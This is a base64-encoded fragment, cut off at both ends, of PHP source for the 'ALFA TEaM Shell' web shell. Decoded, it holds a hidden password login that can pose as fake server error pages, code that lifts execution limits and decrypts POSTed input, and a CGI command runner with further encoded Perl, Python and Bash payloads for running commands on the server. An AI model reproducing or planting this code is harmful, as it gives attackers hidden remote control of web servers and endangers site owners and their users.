koCgkJCQkiaW5wdXRbdHlwZT1zdWJtaXRdLC5idXR0b24sI2FkZHVwIiA9PiAiYm9yZGVyOiAxcHggc29saWQge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiYnV0dG9uOmhvdmVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMyNzk3OUIiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJImlucHV0W3R5cGU9c3VibWl0XTpob3ZlciIgPT4gImJveC1zaGFkb3c6MCAwIDRweCB7Y29sb3J9O2JvcmRlcjoycHggc29saWQge2NvbG9yfTsiLAoJCQkJIi5idXR0b246aG92ZXIsI2FkZHVwOmhvdmVyIiA9PiAiYm94LXNoYWRvdzowIDAgNHB4IHtjb2xvcn07Ym9yZGVyOjFweCBzb2xpZCB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJvdXRwdXRzX3RleHQiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzY3QUJERiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLm1sMSIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJvdXRwdXRzX2JvcmRlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMEUzMDRBIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIubWwxIiA9PiAiYm9yZGVyOiAxcHggc29saWQge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkidXBsb2FkZXJfYm9yZGVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwRTMwNEEiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5pbnB1dGZpbGUiID0+ICJib3gtc2hhZG93OjAgMCA0cHgge2NvbG9yfTtib3JkZXI6MXB4IHNvbGlkIHtjb2xvcn07IiwKCQkJKQoJCSksCgkJInVwbG9hZGVyX2JhY2tncm91bmQiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzBFMzA0QSIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmlucHV0ZmlsZSBzdHJvbmciID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJ1cGxvYWRlcl90ZXh0X3JpZ2h0IiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5pbnB1dGZpbGUgc3Ryb25nIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJInVwbG9hZGVyX3RleHRfbGVmdCIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMjVmZjAwIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuaW5wdXRmaWxlIHNwYW4iID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkidXBsb2FkZXI6aG92ZXIiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzI3OTc5QiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmlucHV0ZmlsZTpob3ZlciIgPT4gImJveC1zaGFkb3c6MCAwIDRweCB7Y29sb3J9O2JvcmRlcjoxcHggc29saWQge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkidXBsb2FkZXJfcHJvZ3Jlc3NfYmFyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwMGZmMDAiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi51cF9iYXIiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJteXNxbF90YWJsZXMiID0+ICIjMDBGRjAwIiwKCQkibXlzcWxfdGFibGVfY291bnQiID0+ICIjNjdBQkRGIiwKCQkiY29weXJpZ2h0IiA9PiAiI2RmZmYwMCIsCgkJInNjcm9sbGJhciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMWU4MmI1IiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIqOjotd2Via2l0LXNjcm9sbGJhci10aHVtYiIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJInNjcm9sbGJhcl9iYWNrZ3JvdW5kIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwMDAxMTUiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIio6Oi13ZWJraXQtc2Nyb2xsYmFyLXRyYWNrIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKKTsKJEdMT0JBTFNbJ19fZmlsZV9wYXRoJ10gPSBzdHJfcmVwbGFjZSgnXFwnLCcvJyx0cmltKHByZWdfcmVwbGFjZSgnIVwoXGQrXClccy4qIScsICcnLCBfX0ZJTEVfXykpKTsKJGNvbmZpZyA9IGFycmF5KCdBbGZhVXNlcicgPT4gJEdMT0JBTFNbJ0RCX05BTUUnXVsndXNlciddLCdBbGZhUGFzcycgPT4gJEdMT0JBTFNbJ0RCX05BTUUnXVsncGFzcyddLCdBbGZhUHJvdGVjdFNoZWxsJyA9PiAkR0xPQkFMU1snREJfTkFNRSddWydzYWZlbW9kZSddLCdBbGZhTG9naW5QYWdlJyA9PiAkR0xPQkFMU1snREJfTkFNRSddWydsb2dpbl9wYWdlJ10pOwovL0BzZXNzaW9uX3N0YXJ0KCk7CkBzZXNzaW9uX3dyaXRlX2Nsb3NlKCk7CkBpZ25vcmVfdXNlcl9hYm9ydCh0cnVlKTsKQHNldF90aW1lX2xpbWl0KDApOwpAaW5pX3NldCgnbWVtb3J5X2xpbWl0JywgJy0xJyk7CkBpbmlfc2V0KCJ1cGxvYWRfbWF4X2ZpbGVzaXplIiwgIjk5OTltIik7CmlmKCRjb25maWdbJ0FsZmFQcm90ZWN0U2hlbGwnXSl7CiRTRVJWRVJfU0lHID0gKGlzc2V0KCRfU0VSVkVSWyJTRVJWRVJfU0lHTkFUVVJFIl0pPyRfU0VSVkVSWyJTRVJWRVJfU0lHTkFUVVJFIl06IiIpOwokRWZvcm09Jzxmb3JtIG1ldGhvZD0icG9zdCI+PGlucHV0IHN0eWxlPSJtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyIgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3N3b3JkIj48L2Zvcm0+JzsKaWYoJGNvbmZpZ1snQWxmYUxvZ2luUGFnZSddID09ICdndWknKXsKaWYoQCRfQ09PS0lFWyJBbGZhVXNlciJdICE9ICRjb25maWdbJ0FsZmFVc2VyJ10gJiYgJF9DT09LSUVbIkFsZmFQYXNzIl0gIT0gbWQ1KCRjb25maWdbJ0FsZmFQYXNzJ10pKXsKaWYoQCRfUE9TVFsidXNybmFtZSJdPT0kY29uZmlnWydBbGZhVXNlciddICYmIEBtZDUoJF9QT1NUWyJwYXNzd29yZCJdKT09JGNvbmZpZ1snQWxmYVBhc3MnXSl7Cl9fYWxmYV9zZXRfY29va2llKCJBbGZhVXNlciIsICRjb25maWdbJ0FsZmFVc2VyJ10pOwpfX2FsZmFfc2V0X2Nvb2tpZSgiQWxmYVBhc3MiLCBAbWQ1KCRjb25maWdbJ0FsZmFQYXNzJ10pKTsKQGhlYWRlcignbG9jYXRpb246ICcuJF9TRVJWRVJbIlBIUF9TRUxGIl0pOwp9CmVjaG8gJwo8c3R5bGU+CmJvZHl7YmFja2dyb3VuZDogYmxhY2s7fQojbG9naW5ib3ggeyBmb250LXNpemU6MTFweDsgY29sb3I6Z3JlZW47IHJpZ2h0Ojg1cHg7IHdpZHRoOjEyMDBweDsgaGVpZ2h0OjIwMHB4OyBib3JkZXItcmFkaXVzOjVweDsgLW1vei1ib2Rlci1yYWRpdXM6NXB4OyBwb3NpdGlvbjpmaXhlZDsgdG9wOjI1MHB4OyB9CiNsb2dpbmJveCB0ZCB7IGJvcmRlci1yYWRpdXM6NXB4OyBmb250LXNpemU6MTFweDsgfQo8L3N0eWxlPgo8dGl0bGU+fiBBTEZBIFRFYU0gU2hlbGwtdicuX19BTEZBX1ZFUlNJT05fXy4nLScuX19BTEZBX0NPREVfTkFNRV9fLicgfjwvdGl0bGU+PGNlbnRlcj4KPGNlbnRlcj48aW1nIHN0eWxlPSJib3JkZXItcmFkaXVzOjEwMHB4OyIgd2lkdGg9IjUwMCIgaGVpZ2h0PSIyNTAiIGFsdD0iYWxmYSB0ZWFtIDIwMTIiIGRyYWdnYWJsZT0iZmFsc2UiIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pbWFnZXMvYWxmYS1pcmFuLnBuZyIgLz48L2NlbnRlcj4KPGRpdiBpZD1sb2dpbmJveD48cD48Zm9udCBmYWNlPSJ2ZXJkYW5hLGFyaWFsIiBzaXplPS0xPgo8Y2VudGVyPjx0YWJsZSBjZWxscGFkZGluZz1cJzJcJyBjZWxsc3BhY2luZz1cJzBcJyBib3JkZXI9XCcwXCcgaWQ9XCdhcF90YWJsZVwnPgo8dHI+PHRkIGJnY29sb3I9ImdyZWVuIj48dGFibGUgY2VsbHBhZGRpbmc9XCcwXCcgY2VsbHNwYWNpbmc9XCcwXCcgYm9yZGVyPVwnMFwnIHdpZHRoPVwnMTAwJVwnPjx0cj48dGQgYmdjb2xvcj0iZ3JlZW4iIGFsaWduPWNlbnRlciBzdHlsZT0icGFkZGluZzoyO3BhZGRpbmctYm90dG9tOjQiPjxiPjxmb250IGNvbG9yPSJ3aGl0ZSIgc2l6ZT0tMSBjb2xvcj0id2hpdGUiIGZhY2U9InZlcmRhbmEsYXJpYWwiPjxiPn4gQUxGQSBURWFNIFNoZWxsLXYnLl9fQUxGQV9WRVJTSU9OX18uJy0nLl9fQUxGQV9DT0RFX05BTUVfXy4nIH48L2I+PC9mb250PjwvdGg+PC90cj4KPHRyPjx0ZCBiZ2NvbG9yPSJibGFjayIgc3R5bGU9InBhZGRpbmc6NSI+Cjxmb3JtIG1ldGhvZD0icG9zdCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9ImxvZ2luIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaGlkZSIgdmFsdWU9IiI+CjxjZW50ZXI+PHRhYmxlPgo8dHI+PHRkPjxmb250IGNvbG9yPSJncmVlbiIgZmFjZT0idmVyZGFuYSxhcmlhbCIgc2l6ZT0tMT5Mb2dpbjo8L2ZvbnQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIHNpemU9IjMwIiBuYW1lPSJ1c3JuYW1lIiBwbGFjZWhvbGRlcj0idXNlcm5hbWUiIG9uZm9jdXM9ImlmICh0aGlzLnZhbHVlID09IFwndXNlcm5hbWVcJyl7dGhpcy52YWx1ZSA9IFwnXCc7fSI+PC90ZD48L3RyPgo8dHI+PHRkPjxmb250IGNvbG9yPSJncmVlbiIgZmFjZT0idmVyZGFuYSxhcmlhbCIgc2l6ZT0tMT5QYXNzd29yZDo8L2ZvbnQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBzaXplPSIzMCIgbmFtZT0icGFzc3dvcmQiIHBsYWNlaG9sZGVyPSJwYXNzd29yZCIgb25mb2N1cz0iaWYgKHRoaXMudmFsdWUgPT0gXCdwYXNzd29yZFwnKSB0aGlzLnZhbHVlID0gXCdcJzsiPjwvdGQ+PC90cj4KPHRyPjx0ZD48Zm9udCBmYWNlPSJ2ZXJkYW5hLGFyaWFsIiBzaXplPS0xPiZuYnNwOzwvZm9udD48L3RkPjx0ZD48Zm9udCBmYWNlPSJ2ZXJkYW5hLGFyaWFsIiBzaXplPS0xPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJMb2dpbiI+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPgo8L2Rpdj48YnIgLz48L2NlbnRlcj4nOwpleGl0Owp9Cn1lbHNlaWYoJGNvbmZpZ1snQWxmYUxvZ2luUGFnZSddPT0nNTAwJyl7CmlmKEAkX0NPT0tJRVsiQWxmYVBhc3MiXSAhPSBAbWQ1KCRjb25maWdbJ0FsZmFQYXNzJ10pKXsKaWYoQG1kNSgkX1BPU1RbInBhc3N3b3JkIl0pPT0kY29uZmlnWydBbGZhUGFzcyddKXsKX19hbGZhX3NldF9jb29raWUoIkFsZmFVc2VyIiwgJGNvbmZpZ1snQWxmYVVzZXInXSk7Cl9fYWxmYV9zZXRfY29va2llKCJBbGZhUGFzcyIsIEBtZDUoJGNvbmZpZ1snQWxmYVBhc3MnXSkpOwpAaGVhZGVyKCdsb2NhdGlvbjogJy4kX1NFUlZFUlsiUEhQX1NFTEYiXSk7Cn0KZWNobyAnPGh0bWw+PGhlYWQ+PHRpdGxlPjUwMCBJbnRlcm5hbCBTZXJ2ZXIgRXJyb3I8L3RpdGxlPjwvaGVhZD48Ym9keT48aDE+SW50ZXJuYWwgU2VydmVyIEVycm9yPC9oMT48cD5UaGUgc2VydmVyIGVuY291bnRlcmVkIGFuIGludGVybmFsIGVycm9yIG9yIG1pc2NvbmZpZ3VyYXRpb24gYW5kIHdhcyB1bmFibGUgdG8gY29tcGxldGUgeW91ciByZXF1ZXN0LjwvcD48cD5QbGVhc2UgY29udGFjdCB0aGUgc2VydmVyIGFkbWluaXN0cmF0b3IsICcuJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddLicgYW5kIGluZm9ybSB0aGVtIG9mIHRoZSB0aW1lIHRoZSBlcnJvciBvY2N1cnJlZCwgYW5kIGFueXRoaW5nIHlvdSBtaWdodCBoYXZlIGRvbmUgdGhhdCBtYXkgaGF2ZSBjYXVzZWQgdGhlIGVycm9yLjwvcD48cD5Nb3JlIGluZm9ybWF0aW9uIGFib3V0IHRoaXMgZXJyb3IgbWF5IGJlIGF2YWlsYWJsZSBpbiB0aGUgc2VydmVyIGVycm9yIGxvZy48L3A+PGhyPicuJFNFUlZFUl9TSUcuJzwvYm9keT48L2h0bWw+Jy4kRWZvcm07CmV4aXQ7Cn0KfWVsc2VpZigkY29uZmlnWydBbGZhTG9naW5QYWdlJ109PSc0MDMnKXsKaWYoQCRfQ09PS0lFWyJBbGZhUGFzcyJdICE9IEBtZDUoJGNvbmZpZ1snQWxmYVBhc3MnXSkpewppZihAbWQ1KCRfUE9TVFsicGFzc3dvcmQiXSk9PSRjb25maWdbJ0FsZmFQYXNzJ10pewpfX2FsZmFfc2V0X2Nvb2tpZSgiQWxmYVVzZXIiLCAkY29uZmlnWydBbGZhVXNlciddKTsKX19hbGZhX3NldF9jb29raWUoIkFsZmFQYXNzIiwgQG1kNSgkY29uZmlnWydBbGZhUGFzcyddKSk7CkBoZWFkZXIoJ2xvY2F0aW9uOiAnLiRfU0VSVkVSWyJQSFBfU0VMRiJdKTsKfQplY2hvICI8aHRtbD48aGVhZD48dGl0bGU+NDAzIEZvcmJpZGRlbjwvdGl0bGU+PC9oZWFkPjxib2R5PjxoMT5Gb3JiaWRkZW48L2gxPjxwPllvdSBkb24ndCBoYXZlIHBlcm1pc3Npb24gdG8gYWNjZXNzICIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIiBvbiB0aGlzIHNlcnZlci48L3A+PGhyPiIuJFNFUlZFUl9TSUcuIjwvYm9keT48L2h0bWw+Ii4kRWZvcm07CmV4aXQ7Cn0KfWVsc2VpZigkY29uZmlnWydBbGZhTG9naW5QYWdlJ109PSc0MDQnKXsKaWYoQCRfQ09PS0lFWyJBbGZhUGFzcyJdICE9IEBtZDUoJGNvbmZpZ1snQWxmYVBhc3MnXSkpewppZihAbWQ1KCRfUE9TVFsicGFzc3dvcmQiXSk9PSRjb25maWdbJ0FsZmFQYXNzJ10pewpfX2FsZmFfc2V0X2Nvb2tpZSgiQWxmYVVzZXIiLCAkY29uZmlnWydBbGZhVXNlciddKTsKX19hbGZhX3NldF9jb29raWUoIkFsZmFQYXNzIiwgQG1kNSgkY29uZmlnWydBbGZhUGFzcyddKSk7CkBoZWFkZXIoJ2xvY2F0aW9uOiAnLiRfU0VSVkVSWyJQSFBfU0VMRiJdKTsKfQplY2hvICI8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+PGgxPk5vdCBGb3VuZDwvaDE+PHA+VGhlIHJlcXVlc3RlZCBVUkwgIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iIHdhcyBub3QgZm91bmQgb24gdGhpcyBzZXJ2ZXIuPGJyPjxicj5BZGRpdGlvbmFsbHksIGEgNDA0IE5vdCBGb3VuZCBlcnJvciB3YXMgZW5jb3VudGVyZWQgd2hpbGUgdHJ5aW5nIHRvIHVzZSBhbiBFcnJvckRvY3VtZW50IHRvIGhhbmRsZSB0aGUgcmVxdWVzdC48L3A+PGhyPiIuJFNFUlZFUl9TSUcuIjwvYm9keT48L2h0bWw+Ii4kRWZvcm07CmV4aXQ7Cn0KfQp9CmZ1bmN0aW9uIGRlY3J5cHRfcG9zdCgkc3RyKXsKCWlmKF9fQUxGQV9QT1NUX0VOQ1JZUFRJT05fXyl7CgkJJHB3ZCA9IF9fQUxGQV9TRUNSRVRfS0VZX187CgkJJHB3ZCAgICAgPSBfX1pXNWpiMlJsY2coJHB3ZCk7CgkJJHN0ciAgICAgPSBfX1pHVmpiMlJsY2coJHN0cik7CgkJJGVuY19jaHIgPSAiIjsKCQkkZW5jX3N0ciA9ICIiOwoJCSRpICAgICAgID0gMDsKCQl3aGlsZSAoJGkgPCBzdHJsZW4oJHN0cikpIHsKCQkJZm9yICgkaiA9IDA7ICRqIDwgc3RybGVuKCRwd2QpOyAkaisrKSB7CgkJCQkkZW5jX2NociA9IGNocihvcmQoJHN0clskaV0pIF4gb3JkKCRwd2RbJGpdKSk7CgkJCQkkZW5jX3N0ciAuPSAkZW5jX2NocjsKCQkJCSRpKys7CgkJCQlpZiAoJGkgPj0gc3RybGVuKCRzdHIpKQoJCQkJCWJyZWFrOwoJCQl9CgkJfQoJCXJldHVybiBfX1pHVmpiMlJsY2coJGVuY19zdHIpOwoJfWVsc2V7CgkJcmV0dXJuIF9fWkdWamIyUmxjZygkc3RyKTsKCX0KfQoKZnVuY3Rpb24gX0FsZmFTZWNyZXRLZXkoKXsKCSRzZWNyZXQgPSBAJF9DT09LSUVbIkFsZmFTZWNyZXRLZXkiXTsKCWlmKCFpc3NldCgkX0NPT0tJRVsiQWxmYVNlY3JldEtleSJdKSl7CgkJJHNlY3JldCA9IHVuaXFpZChtdF9yYW5kKCksIHRydWUpOwoJCV9fYWxmYV9zZXRfY29va2llKCJBbGZhU2VjcmV0S2V5IiwgJHNlY3JldCk7Cgl9CglyZXR1cm4gJHNlY3JldDsKfQpmdW5jdGlvbiBhbGZhX2dldENvbG9yKCR0YXJnZXQpewoJaWYoaXNzZXQoJEdMT0JBTFNbIkRCX05BTUUiXVsiY29sb3IiXVskdGFyZ2V0XSkmJiRHTE9CQUxTWyJEQl9OQU1FIl1bImNvbG9yIl1bJHRhcmdldF0hPSIiKXsKCQlyZXR1cm4gJEdMT0JBTFNbIkRCX05BTUUiXVsiY29sb3IiXVskdGFyZ2V0XTsKCX1lbHNlewoJCSR0YXJnZXQgPSAkR0xPQkFMU1siX19BTEZBX0NPTE9SX18iXVskdGFyZ2V0XTsKCQlpZihpc19hcnJheSgkdGFyZ2V0KSl7CgkJCXJldHVybiAkdGFyZ2V0WyJrZXlfY29sb3IiXTsKCQl9ZWxzZXsKCQkJcmV0dXJuICR0YXJnZXQ7CgkJfQoJfQp9CmZ1bmN0aW9uIGFsZmFDc3NMb2FkQ29sb3JzKCl7CgkkY3NzID0gIiI7Cglmb3JlYWNoKCRHTE9CQUxTWydfX0FMRkFfQ09MT1JfXyddIGFzICRrZXkgPT4gJHZhbHVlKXsKCQlpZighaXNfYXJyYXkoJHZhbHVlKSl7CgkJCSR2YWx1ZSA9IGFsZmFfZ2V0Q29sb3IoJGtleSk7CgkJCSRjc3MgLj0gIi57JGtleX17Y29sb3I6IHskdmFsdWV9O30iOwoJCX1lbHNlewoJCQlpZihpc3NldCgkdmFsdWVbIm11bHRpX3NlbGVjdG9yIl0pKXsKCQkJCWZvcmVhY2goJHZhbHVlWyJtdWx0aV9zZWxlY3RvciJdIGFzICRrID0+ICR2KXsKCQkJCQkkY29sb3IgPSBhbGZhX2dldENvbG9yKCRrZXkpOwoJCQkJCSRjb2RlID0gc3RyX3JlcGxhY2UoIntjb2xvcn0iLCAkY29sb3IsICR2KTsKCQkJCQkkY3NzIC49ICAkay4ieyIuJGNvZGUuIn0iOwoJCQkJfQoJCQl9CgkJfQoJfQoJcmV0dXJuICRjc3M7Cn0KaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKXsKZnVuY3Rpb24gQWxmYU51bSgpewokYXJncyA9IGZ1bmNfZ2V0X2FyZ3MoKTsKJGFsZmF4ID0gYXJyYXkoKTsKJGZpbmQgPSBhcnJheSgpOwpmb3IoJGk9MTskaTw9MTA7JGkrKyl7CiRhbGZheFtdID0gJGk7Cn0KZm9yZWFjaCgkYXJncyBhcyAkYXJnKXsKJGZpbmRbXSA9ICRhcmc7Cn0KZWNobyAnPHNjcmlwdD4nOwpmb3JlYWNoKCRhbGZheCBhcyAkYWxmYSl7CmlmKGluX2FycmF5KCRhbGZhLCRmaW5kKSkKY29udGludWU7CmVjaG8gJ2FsZmEnLiRhbGZhLiJfPSI7Cn0KZWNobyAnIiI8L3NjcmlwdD4nOwp9fQpmdW5jdGlvbiBfYWxmYV9jZ2ljbWQoJGNtZCwkbGFuZz0icGVybCIsJHNldF9jb29raWU9ZmFsc2UpewoJaWYoISRHTE9CQUxTWyJEQl9OQU1FIl1bImNnaV9hcGkiXSl7CgkJcmV0dXJuICIiOwoJfQoJaWYoaXNzZXQoJF9DT09LSUVbImFsZmFjZ2lhcGlfbW9kZSJdKSl7CgkJcmV0dXJuICIiOwoJfQoJJGNtZF9wdXJlID0gJGNtZDsKCSRpc19jdXJsID0gZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKTsKCSRpc19zb2NrZXQgPSBmdW5jdGlvbl9leGlzdHMoJ2Zzb2Nrb3BlbicpOwoJaWYoJGlzX2N1cmx8fCRpc19zb2NrZXQpewoJCSRyZWNyZWF0ZSA9IGZhbHNlOwoJCWlmKGlzc2V0KCRfQ09PS0lFWyJhbGZhY2dpYXBpIl0pKXsKCQkJaWYoIUBmaWxlX2V4aXN0cygiYWxmYWNnaWFwaS8iLiRfQ09PS0lFWyJhbGZhY2dpYXBpIl0uIi5hbGZhIikpewoJCQkJJHJlY3JlYXRlID0gdHJ1ZTsKCQkJCSRsYW5nID0gJF9DT09LSUVbImFsZmFjZ2lhcGkiXTsKCQkJfQoJCX0KCQlpZighaXNzZXQoJF9DT09LSUVbImFsZmFjZ2lhcGkiXSl8fCRyZWNyZWF0ZSl7CgkJCUBjaGRpcihkaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkpOwoJCQkkcGVybCA9ICdqWkZSVDhJd0ZJWGYvUlhYT3FXTnNLb3hQbEF3UmxpRVJJYks5RVVNR2RzRkdyWXl0MklreS96dGRrTWxKajc0Y3BLZWU4NTNrOTZEZmI3T1VqNlZpaWVZUmdEUTZGZE90QXI4aUU5OUZjWlM3YTB6aEVGLzREU2IxMzZHRitjaVNhWFNRRG9ycFZIcGh0NGsyQVNONzVvdmRCeU4xVmdSSVdmVWN0eW52UGJnM0Q4NkkyOHljTHplc0ZzckFGK0IzQTFISG1GNXZBRnF5VHBZUzl3WWZmTWpvMUl4a2FJZjBwSFg3YnVWWWFSaWRZYXU1N2plNU5aeGI3eGVyV0RpU2lwb1E1WkVVbE4reEwvcXM1VUJCQXZ6QUhvQ3RnM1dnYkZ6TTN1MjVBdTBQeURqNDJNT2ZDN29iamZia2RwYlVwbXV3eGtUWldoYk82UzJ6WGppQjB0S0FsS0hCYjVUNjVReFBrZFJRdjZSa2lvdmVRWFliU0RqRXdKeUJqVEVtVlFZMHA4cFk3K1RKVndVNWJjYWx3UnhTQXFXYnk4UllyQUtjVEt0cnZNMVgyQ3dOQW1idEpJVUw0bklOcG5HbVA0VnJWRHMrNm90WGhXSzRoTT0nOwoJCQkkcHkgPSAiYlpEQlM4TXdHTVhQeTE5UjY2RXR6aFJrN0RBM0wxcnhJdE90M2dhalRiNnR3VFFKeWRleElmN3ZKcXZNaVI1Q3lIdnY5M2prOGlMdm5NMXJvWEp6d0VZcmd2WXdJUVBSR20weFlsdUI5VzEvVVZCVkxTSE5DT3daR1BRcFV6bEh2cVBhRFgxc1dGY094aU95MGJhTlpnR2tqd0lrWDZLMjFSWlNVRHRodFpwOUpJdmk5YTFZbHV2bm9ueWFQeVNUNUdXK0xKUFBqTENXZXpJVTBDM2dycElkcElrWEUyODF3TjcvTVlQc2JXT0Z3aWkrMXdwQjRUVWVERXdROXBnMzJNcVZYYWx3WWlJMmthOEw4NC81ZmpHdHh5TU9USE5JajNYWlZUdzFGdTVpTW1DTmtIenRrQXMxakU0UDNhRmZvaDAxMm9DNlNmL1d0RHpMZnRHVVNlM0NCdzRzdUU0Ry9yeU9XcWg0ZW80RThjVDBhM3VTT3JUQy9LanhORCtPL1FJPSI7CgkJCSRiYXNoID0gInJWUmRqNXBBRkgydXYrSTZER2ExSWF5YnBnOWFtclJib3B0WWJWMzYwSlFHV1JpRnlQSTVXcmVVLzk1aG9DeWpzZkZoNTJubTNuTS96dVRjSzNYVkJ6OVVIK3pNNnhESGkwQWhnRzZqa0pLUUt2UXBKaU9nNUVCVmp6NEdabWlHcUxQZWhRNzFveENjalc5dENMVytMTzROYTIrbjJWVS83d0E3UHdEaHBmNzFtODdzbjNWanV2aUVvS3NCS29FSWZrS3ZCeW1odXpTczBWMVFmck1RRnJEOGJ0MGJ5N3Y1eERxSDVjamJ4ZHpRNTRZMTArY1RZeXJDWHFYRWRrR1p3eEVLVHRMempIVlVJZEp5aVJPNWhIRjZwb1FsVUVJQ3c1T2Vnc2l4QTlnREJZKy9xWVp3UGxUVjF5b1Vzb3k0N1pmbkI2Uk1ra3UwQUdWRDRSb1VtekhKYVZIOWpjeFlqTUdOT0x3OCt6TE52bUFJV1RibFFZRWFEeTlBcFlIY3N2bnJDN0pUajRSTlJIazhqVUZHMTZPYlFqQlhCWmdWQ2VhNkk3VDZweE9UblFQT3ZXTFY0TlkrdjdwUlNQaUZRNnV3LzN3M1U1R29uL0t6QXdvM1p6NDdnUmkyN01zemJuUHNqQUFlZ3Y5TWJxSWJmYUgzUm1SNVd3WkZMWjFFTzNiMFJPcmpjZk1zbFNQbVBwbURDeXB6OE5ueWxmZDhEeDhYeHZSRitiME1oYVM0bkFiSmJJZGZNczlmMCtxbUljQURFQ2VtcnB3Y2owZk1DOHB5cnowWjI5SVl5N0xXTm5MWnh0SkFhOW1xZGlVY0MrSGwzaG9pWVBQeVlUWkRvSERsWmlyZ0xhajFJT0dzSm13S3BNZ2hqbExLM0Z1a29aV3dRY0JFZUcraUZSSUhveG1FbHY2NXRvRFY3aVE3a2o1cCtJcVBEM1llWGZnRGJFV1R0MjlBVWFyVS9XcGROeGlQT051enFIS3B2NHRUOHQ1MFVJZDFGYkJkd1dzVUxiOWFBLzRDIjsKCQkJJGFzcHggPSAialpOZGE5c3dGSWF2azE4aE5Bb09BWGRzb3pkTHlyclVLWWFSbHJpTk4wSXVGUHZFRmJVbDcwak9CMlA5N1QxU1BCbzh5blpsUytkNTMvUGg0OUhaRjNZbkNtRGZoQ29hZWhuenlUdk9JaVhXSlN3azdCSXJMRjF1UkdtQXM3UEwvb2dVY1ZWcnRHd21LakMxeUNpZUhJeUZLa3hoSFQ3RTdqSFJ5cUl1emI4MTExSVVTaHNycy8rQTQxdlBFTlR2R1l0U0ZTeXJjalptYy9qWmdMSGhWR08xNUhUSFY1OWZrVWZJbnY2RzNLM0g1Q1pva1RIajZjZlpkbjJ6K0NDK3orb2YxYjdjVk5PZFdMd2Y4OEd2ZnErM1BsaFlybGd1ckNERHRpcHFkZ3RJdnFpcnI4TEF4YWZFSnc2b2pnSDU5NDQxdHZROTdHMTRsVXppT0ZLWnpvazduc0lic0szTzJaT1FsSGVvTXpDRzFhUlhzR1B0T2ZDMmRVaWZCMjJzTmpxY0lOQ1htdWxVcWx6dmlMYllRQmVheWhMY1VDbnNaaFRDSG5pWHVjS2lxVUJaNDZEempIRTJkRFB1WWc4R2trY295MmdQV1dPZG85K1JMamFIWENKazFKaFF1Y0Q4dHJGMVk5OG9yd3RIaUJyZllGT05UelNxYXkvUWVQRFZuallUSEFmWXJvRCtrOWRIVDBxaHBDSy8xNUhLZ3dGMStocjJ5VStqem50Tys2aVZnVEJGYVNIZ1M2TkwyRW9qNlhkNUZyVmNqV3FFU3o0OHBodnkwYmsvTyszdlBpM3VDdz09IjsKCQkJaWYoJGxhbmc9PSJwZXJsIikkc291cmNlID0gJHBlcmw7ZWxzZWlmKCRsYW5nPT0icHkiKSRzb3VyY2UgPSAkcHk7ZWxzZSAkc291cmNlID0gJGJhc2g7CgkJCWlmKCRsYW5nID09ICJhc3B4Iil7CgkJCQlhbGZhV3JpdGVUb2NnaWFwaSgiYXNweC5